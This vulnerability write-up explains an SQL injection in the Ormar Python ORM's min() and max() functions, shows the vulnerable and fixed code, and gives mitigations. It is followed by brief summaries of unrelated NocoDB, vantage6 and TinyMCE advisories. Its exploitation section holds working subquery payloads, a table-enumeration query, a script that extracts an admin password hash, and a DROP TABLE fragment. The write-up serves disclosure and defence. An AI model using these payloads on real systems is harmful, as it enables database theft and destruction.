Feb 24, 2026·6 min read·37 visits
Ormar versions 0.9.9 through 0.22.0 contain a critical SQL injection flaw. The library fails to validate column names passed to `min()` and `max()` functions, passing them directly to `sqlalchemy.text()`. This allows unauthenticated attackers to dump the entire database via subqueries.
A critical SQL injection vulnerability in the Ormar Python ORM allows attackers to execute arbitrary subqueries via the min() and max() aggregate functions. While numeric aggregates like sum() were validated, min/max inputs were passed directly to a raw SQL sink, bypassing sanitization.
We rely on Object-Relational Mappers (ORMs) for two main reasons: laziness and safety. We don't want to write JOIN statements by hand, and we definitely don't want to think about escaping inputs. We assume that if we use the ORM's methods—like .filter(), .count(), or .max()—the library will handle the dirty work of sanitizing data before it hits the database driver.
But sometimes, that trust is misplaced. Enter ormar, a slick, asynchronous mini-ORM for Python that plays nice with FastAPI and Starlette. It’s fast, it’s modern, and until version 0.23.0, it had a gaping hole in how it handled basic statistics.
Imagine you have a public endpoint that displays the highest price of an item in your store. You grab the query parameter field and pass it to Item.objects.max(field). You expect ormar to complain if the field doesn't exist. Instead, ormar takes whatever string you give it, wraps it in a hug, and sends it straight to the database engine. If that string happens to be (SELECT password FROM users LIMIT 1), ormar happily asks the database: "What is the maximum value of the admin's password?"
The root cause of CVE-2026-26198 is a classic case of "partial implementation." The developers actually did implement validation logic for aggregate functions, but they stopped halfway through.
In the ormar codebase, aggregate functions like sum(), avg(), min(), and max() all route through a central helper method. The logic for sum and avg is sound: these operations only make sense on numbers. If you try to sum a text column, the database throws a fit. So, the developers added a check: if the function is sum or avg, ensure the target column is numeric.
However, min() and max() are different. You can find the minimum value of a string (alphabetical order) or a date. Because these functions don't strictly require numeric types, the developers skipped the type check.
> [!WARNING] > The Fatal Mistake: They removed the type check but didn't replace it with an existence check.
Because they didn't verify that the input was actually a column defined in the model, the code proceeded to create a SelectAction with the raw user input. This input was eventually passed to sqlalchemy.text(), which tells SQLAlchemy: "Trust me, this string is safe SQL, just run it." Spoiler: It wasn't safe.
Let's look at the vulnerable code in ormar/queryset/queryset.py. This is where the decision making happens.
# Inside _query_aggr_function
select_actions = [
SelectAction(select_str=column, model_cls=self.model) for column in columns
]
if func_name in ["sum", "avg"]:
# This protects sum and avg because 'is_numeric' validation
# indirectly filters out complex SQL injection strings.
if any(not x.is_numeric for x in select_actions):
raise QueryDefinitionError(
"You can use sum and avg only on numeric columns"
)
# ... but if func_name is "min" or "max", we fall through here!
# The select_actions are used to build the query.The SelectAction class then takes that raw string and does the unthinkable in select_action.py:
def get_text_clause(self) -> sqlalchemy.sql.expression.TextClause:
alias = f"{self.table_prefix}_" if self.table_prefix else ""
# HERE IS THE INJECTION:
return sqlalchemy.text(f"{alias}{self.field_name}")By using sqlalchemy.text(), the library explicitly opts out of parameter binding for the column name. If self.field_name contains SQL syntax (like subqueries or comment characters), it gets executed.
Exploiting this is trivially easy if the application exposes the column selection to the user. An attacker doesn't need to break out of quotes because sqlalchemy.text() injects the payload as a raw expression.
Target URL: GET /api/stats?metric=max&column=<PAYLOAD>
We inject a subquery. If the database returns a result, we have code execution.
Payload:
(SELECT 1337)
Resulting SQL:
SELECT max((SELECT 1337)) FROM itemsResponse: 1337
Now we treat the max() function as a data oracle. We can dump table names from the master record.
Payload:
(SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table')
Here is a weaponized script to dump the admin_users table:
import httpx
TARGET = "http://vulnerable-app.com/stats"
# The injection payload targets the 'column' parameter
# We use a subquery to fetch the sensitive data.
sql_payload = "(SELECT password FROM admin_users WHERE username='admin')"
response = httpx.get(TARGET, params={
"metric": "max",
"column": sql_payload
})
print(f"[+] Admin Password Hash: {response.json()}")Because the result of the subquery is passed to max(), the database evaluates the subquery first, returns the string (the password), and max() simply returns that string to the API response. It is a highly efficient, single-shot exfiltration vector.
This vulnerability is rated CVSS 9.8 (Critical) for a reason. It requires no authentication (assuming the endpoint is public), has low complexity, and results in total compromise of the database confidentiality and integrity.
; DROP TABLE users; --.This isn't a complex memory corruption bug; it's a logic flaw in a high-level library that makes ormar applications vulnerable by default if they allow dynamic column selection.
The fix implemented in version 0.23.0 is simple but effective: Whitelisting. The library now checks if the requested column actually exists in the model's metadata before constructing the SQL query.
In ormar/queryset/queryset.py, the developers added a check that applies to all aggregate functions, not just sum and avg:
# The fix:
if any(x.field_name not in x.target_model.model_fields for x in select_actions):
raise QueryDefinitionError(
"You can use aggregate functions only on existing columns of the target model"
)ormar to version 0.23.0 immediately.?sort=price) to internal column names (e.g., item_price_usd).SELECT, FROM, or parenthesis characters ().CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
ormar collerek | >= 0.9.9, <= 0.22.0 | 0.23.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-89 (SQL Injection) |
| CVSS Score | 9.8 (Critical) |
| Attack Vector | Network |
| Privileges Required | None |
| Exploit Maturity | Proof of Concept (PoC) Available |
| Patch Status | Available (v0.23.0) |
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
NocoDB is subject to an insufficient session expiration vulnerability where OAuth access and refresh tokens are not invalidated or revoked during security-sensitive actions such as password changes, forgot-password requests, or password resets. This allows an attacker possessing an active OAuth token to maintain unauthorized persistence.
A vulnerability in the vantage6 federated learning framework allows unauthenticated remote attackers to gain administrative control of the server via hardcoded default credentials (root/root) when deployed under default configurations in versions 4.2.3 and below.
An improper access control vulnerability in the vantage6 node component allows concurrently running algorithm containers to read and modify sensitive input and output files of other tasks. The lack of strict workspace directory isolation exposes a significant attack surface in multi-tenant or federated environments where untrusted algorithms are executed.
TinyMCE versions 6.8.0 through 7.0.1 contain a high-severity Cross-Site Scripting (XSS) vulnerability. The flaw exists in the custom HTML parser and sanitizer module, which incorrectly manages SVG namespace scopes when parsing nested elements. A low-privileged or unauthenticated attacker can submit a crafted HTML payload containing nested SVG structures to bypass sanitization filters, leading to arbitrary JavaScript execution in the context of the victim's browser session.
CVE-2026-47759 is a critical stored Cross-Site Scripting (XSS) vulnerability affecting multiple active branches of the TinyMCE rich text editor. The flaw resides in the editor's handling of user-controlled, prefixed internal attributes, such as data-mce-href, data-mce-src, and data-mce-style. When processing raw HTML inputs, TinyMCE's internal validation schema neglects to inspect these custom prefixed attributes. During HTML serialization, the editor's engine extracts these unsanitized values and copies them back into standard executable attributes, overwriting any previously sanitized standard values and leading to execution of arbitrary code.
A high-severity stored Cross-Site Scripting (XSS) vulnerability was identified in the TinyMCE rich text editor. The flaw exists in the handling of the 'protect' configuration option, where forged placeholder comments containing malicious payloads bypass the editor's sanitization routines and execute arbitrary JavaScript during serialization and content restoration.